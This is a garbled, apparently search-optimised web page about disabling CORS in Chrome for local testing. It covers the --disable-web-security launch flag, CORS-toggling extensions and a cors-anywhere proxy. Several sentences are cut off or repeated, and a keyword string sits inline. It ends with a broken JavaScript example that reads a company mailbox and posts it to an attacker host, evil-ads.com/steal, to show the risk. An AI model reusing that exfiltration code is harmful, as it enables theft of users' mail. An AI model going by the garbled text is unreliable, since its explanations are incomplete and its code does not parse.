Chrome treats http://localhost and http://127.0.0.1 as , even if they point to the same machine. However, the browser does not check DNS for CORS if the domains map to local IPs in specific testing scenarios (less reliable in modern Chrome versions).
Extensions like "CORS Unblock" or "Allow CORS" toggle CORS restrictions but are less intrusive than launching with flags. Still, disable them immediately after testing. disable cors chrome
google-chrome --user-data-dir="/tmp/ChromeDevSession" --disable-web-security Chrome treats http://localhost and http://127
When you disable CORS, you are instructing Chrome to . The browser will no longer: Still, disable them immediately after testing
From the browser’s perspective, every request becomes same-origin.
# Install npm install -g cors-anywhere # Run cors-anywhere
fetch('https://mail.company.com/api/inbox') .then(response => response.text()) .then(data => // Send your entire inbox to an attacker's server fetch('https://evil-ads.com/steal', method: 'POST', body: data ) );